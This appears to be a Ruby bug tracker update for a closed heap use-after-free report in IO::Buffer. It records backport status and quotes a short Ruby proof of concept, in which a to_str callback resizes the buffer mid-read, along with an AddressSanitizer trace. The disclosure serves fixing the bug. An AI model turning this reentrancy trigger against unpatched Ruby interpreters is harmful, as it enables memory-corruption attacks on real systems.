Issue #22336 has been updated by nagachika (Tomoyuki Chikanaga). Backport changed from 3.3: WONTFIX, 3.4: REQUIRED, 4.0: REQUIRED to 3.3: WONTFIX, 3.4: DONE, 4.0: REQUIRED ruby_3_4 commit:bce3c89801d667a2cc38940228b8656f46879e7e merged revision(s) commit:b61da996afb02715cb16703a55f57c4417fd2d5b. ---------------------------------------- Bug #22336: IO:Buffer Heap uaf https://bugs.ruby-lang.org/issues/22336#change-119118 * Author: danielchong (Daniel Chong) * Status: Closed * ruby -v: 4.1.0-dev * Backport: 3.3: WONTFIX, 3.4: DONE, 4.0: REQUIRED ---------------------------------------- Hello, a UAF is possible in IO:Buffer. PoC: ``` $buf = IO::Buffer.new(64) evil = Object.new def evil.to_str $buf.resize(64 * 1024 * 1024) "UTF-8" end $buf.get_string(0, 32, evil) ``` ASAN (truncated): ``` ERROR: AddressSanitizer: heap-use-after-free ... READ of size 32 #3 str_enc_new string.c:1109 #4 io_buffer_get_string io_buffer.c:3276 <- USE (read from stale base) freed by thread T0 here: #0 realloc #1 rb_io_buffer_resize io_buffer.c:2203 <- FREE (realloc move) #2 io_buffer_resize io_buffer.c:2249 ... #16 rb_str_to_str string.c:1818 #18 name_for_encoding encoding.c:296 #20 rb_find_encoding encoding.c:345 #21 io_buffer_get_string io_buffer.c:3266 <- reentrancy boundary (encoding to_str) previously allocated by thread T0 here: #0 calloc #1 io_buffer_initialize io_buffer.c:216 <- original 64-byte INTERNAL buffer ``` -- https://bugs.ruby-lang.org/